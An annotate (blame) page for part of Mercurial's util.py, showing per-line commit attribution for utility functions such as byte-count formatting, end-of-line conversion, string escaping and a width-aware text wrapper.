  2698
    ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2699
    """
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2700
    if toline - fromline < 0:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2701
        raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2702
    if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2703
        raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2704
    return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents: 31598
diff changeset
  2705
18735
716cad930691 util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents: 18678
diff changeset
  2706
bytecount = unitcountfn(
16397
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2707
    (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2708
    (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2709
    (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2710
    (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2711
    (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2712
    (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2713
    (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2714
    (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2715
    (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2716
    (1, 1, _('%.0f bytes')),
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2717
    )
f0f7f3fab315 util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents: 16383
diff changeset
  2718
31776
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2719
# Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2720
# are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2721
# stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2722
_eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2723
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2724
def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2725
    return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2726
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2727
def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2728
    return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31720
diff changeset
  2729
31777
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2730
if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2731
    tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2732
    fromnativeeol = tolf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2733
else:
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2734
    tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2735
    fromnativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31776
diff changeset
  2736
31451
53865692a354 util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31449
diff changeset
  2737
def escapestr(s):
31453
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31451
diff changeset
  2738
    # call underlying function of s.encode('string_escape') directly for
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31451
diff changeset
  2739
    # Python 3 compatibility
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31451
diff changeset
  2740
    return codecs.escape_encode(s)[0]
31451
53865692a354 util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31449
diff changeset
  2741
31484
afb335353d28 util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31465
diff changeset
  2742
def unescapestr(s):
31485
cad95575dc46 py3: call codecs.escape_decode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31484
diff changeset
  2743
    return codecs.escape_decode(s)[0]
31484
afb335353d28 util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31465
diff changeset
  2744
33682
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2745
def forcebytestr(obj):
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2746
    """Portably format an arbitrary object (e.g. exception) into a byte
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2747
    string."""
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2748
    try:
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2749
        return pycompat.bytestr(obj)
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2750
    except UnicodeEncodeError:
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2751
        # non-ascii string, may be lossy
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2752
        return pycompat.bytestr(encoding.strtolocal(str(obj)))
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33619
diff changeset
  2753
5291
23651848d638 extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents: 5213
diff changeset
  2754
def uirepr(s):
23651848d638 extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents: 5213
diff changeset
  2755
    # Avoid double backslash in Windows path repr()
36266
1fa33bd848ee py3: fix bytes-unicode dance while building docstring of extdiff
Yuya Nishihara <yuya@tcha.org>
parents: 36235
diff changeset
  2756
    return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
7547
4949729ee9ee python implementation of diffstat
Alexander Solovyov <piranha@piranha.org.ua>
parents: 7537
diff changeset
  2757
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2758
# delay import of textwrap
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2759
def MBTextWrapper(**kwargs):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2760
    class tw(textwrap.TextWrapper):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2761
        """
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2762
        Extend TextWrapper for width-awareness.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2763
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2764
        Neither number of 'bytes' in any encoding nor 'characters' is
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2765
        appropriate to calculate terminal columns for specified string.
12957
9f2ac318b92e util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents: 12938
diff changeset
  2766
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2767
        Original TextWrapper implementation uses built-in 'len()' directly,
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2768
        so overriding is needed to use width information of each characters.
12957
9f2ac318b92e util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents: 12938
diff changeset
  2769
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2770
        In addition, characters classified into 'ambiguous' width are
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
  2771
        treated as wide in East Asian area, but as narrow in other.
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2772
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2773
        This requires use decision to determine width of such characters.
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2774
        """
15065
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
  2775
        def _cutdown(self, ucstr, space_left):
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2776
            l = 0
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2777
            colwidth = encoding.ucolwidth
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2778
            for i in xrange(len(ucstr)):
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2779
                l += colwidth(ucstr[i])
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2780
                if space_left < l:
15065
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
  2781
                    return (ucstr[:i], ucstr[i:])
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
  2782
            return ucstr, ''
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2783
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2784
        # overriding of base class
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2785
        def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2786
            space_left = max(width - cur_len, 1)
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2787
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2788
            if self.break_long_words:
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2789
                cut, res = self._cutdown(reversed_chunks[-1], space_left)
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2790
                cur_line.append(cut)
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2791
                reversed_chunks[-1] = res
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2792
            elif not cur_line:
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2793
                cur_line.append(reversed_chunks.pop())
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2794
26201
c5b2074ae8c0 util: capitalize Python in MBTextWrapper._wrap_chunks comment
timeless@mozdev.org
parents: 26126
diff changeset
  2795
        # this overriding code is imported from TextWrapper of Python 2.6
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2796
        # to calculate columns of string by 'encoding.ucolwidth()'
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2797
        def _wrap_chunks(self, chunks):
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2798
            colwidth = encoding.ucolwidth
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2799
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2800
            lines = []
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2801
            if self.width <= 0:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2802
                raise ValueError("invalid width %r (must be > 0)" % self.width)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2803
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2804
            # Arrange in reverse order so items can be efficiently popped
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2805
            # from a stack of chucks.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2806
            chunks.reverse()
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2807
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2808
            while chunks:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2809
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2810
                # Start the list of chunks that will make up the current line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2811
                # cur_len is just the length of all the chunks in cur_line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2812
                cur_line = []
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2813
                cur_len = 0
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2814
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2815
                # Figure out which static string will prefix this line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2816
                if lines:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2817
                    indent = self.subsequent_indent
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2818
                else:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2819
                    indent = self.initial_indent
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2820
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2821
                # Maximum width for this line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2822
                width = self.width - len(indent)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2823
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2824
                # First chunk on line is whitespace -- drop it, unless this
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
  2825
                # is the very beginning of the text (i.e. no lines started yet).
32527
47ce079b1afa util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents: 32462
diff changeset
  2826
                if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2827
                    del chunks[-1]
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2828
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2829
                while chunks:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2830
                    l = colwidth(chunks[-1])
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2831
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2832
                    # Can at least squeeze this chunk onto the current line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2833
                    if cur_len + l <= width:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2834
                        cur_line.append(chunks.pop())
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2835
                        cur_len += l
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2836
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2837
                    # Nope, this line is full.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2838
                    else:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2839
                        break
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2840
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2841
                # The current line is full, and the next chunk is too big to
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2842
                # fit on *any* line (not just this one).
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2843
                if chunks and colwidth(chunks[-1]) > width:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2844
                    self._handle_long_word(chunks, cur_line, cur_len, width)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2845
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2846
                # If the last chunk on this line is all whitespace, drop it.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2847
                if (self.drop_whitespace and
32527
47ce079b1afa util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents: 32462
diff changeset
  2848
                    cur_line and cur_line[-1].strip() == r''):
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2849
                    del cur_line[-1]
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2850
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2851
                # Convert current line back to a string and store it in list
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2852
                # of all lines (return value).
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2853
                if cur_line:
32546
3b8155305fbe util: use sysstr.join instead of bytes.join in textwrap wrapper
Augie Fackler <raf@durin42.com>
parents: 32527
diff changeset
  2854
                    lines.append(indent + r''.join(cur_line))
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2855
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2856
            return lines
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
  2857
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2858
    global MBTextWrapper
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2859
    MBTextWrapper = tw
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
  2860
    return tw(**kwargs)
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2861
12698
7aef77e74cf3 util: make wrap() require a width argument
Matt Mackall <mpm@selenic.com>
parents: 12689
diff changeset
  2862
def wrap(line, width, initindent='', hangindent=''):
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2863
    maxindent = max(len(hangindent), len(initindent))
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2864
    if width <= maxindent:
9417
4c3fb45123e5 util, minirst: do not crash with COLUMNS=0
Martin Geisler <mg@lazybytes.net>
parents: 9397
diff changeset
  2865
        # adjust for weird terminal size
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2866
        width = max(78, maxindent + 1)
31338
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2867
    line = line.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2868
                    pycompat.sysstr(encoding.encodingmode))
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2869
    initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2870
                    pycompat.sysstr(encoding.encodingmode))
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2871
    hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2872
                    pycompat.sysstr(encoding.encodingmode))
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2873
    wrapper = MBTextWrapper(width=width,
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2874
                            initial_indent=initindent,
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
  2875
                            subsequent_indent=hangindent)
31338
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31315
diff changeset
  2876
    return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
8938
